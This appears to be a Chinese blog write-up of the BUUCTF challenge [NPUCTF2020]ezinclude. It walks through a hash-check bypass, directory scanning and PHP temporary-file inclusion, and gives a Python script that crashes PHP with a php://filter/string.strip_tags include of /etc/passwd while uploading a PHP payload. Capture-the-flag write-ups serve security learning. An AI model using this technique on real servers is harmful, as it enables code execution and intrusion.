BUUCTF--[NPUCTF2020]ezinclude

 进入页面后F12查看网页源码,根据提示我们可以知道经过md5编码后的name要与pass相同 

经过测试可以发现name没有参数时和name有参数是的Hash值是不同的,猜测这里是将name编码后的值赋给了Hash

 令name=1,pass为name为1时的Hash值即可,但发现直接跳转到404页面

 这里需要使用BP拦截,可以看到给出一个php文件

打开后发现是个文件包含 

通过dirsearch扫目录可以得到dir.php ,包含他可以看到这个页面列出了 /tmp 下的所有文件

 

这里考察的是PHP临时文件包含,其基本是两种情况:

  1. 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
  2. PHP版本<7.2,利用php崩溃留下临时文件

使用py脚本尝试写入shell

import requests
from io import BytesIO

payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

再次通过dir.php来查看上传成功后的文件名

​​​​​​​ 

 成功上次后发现并不能直接访问tmp目录下的文件../一层一层尝试即可,访问执行后发现flag在phpinfo页中

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值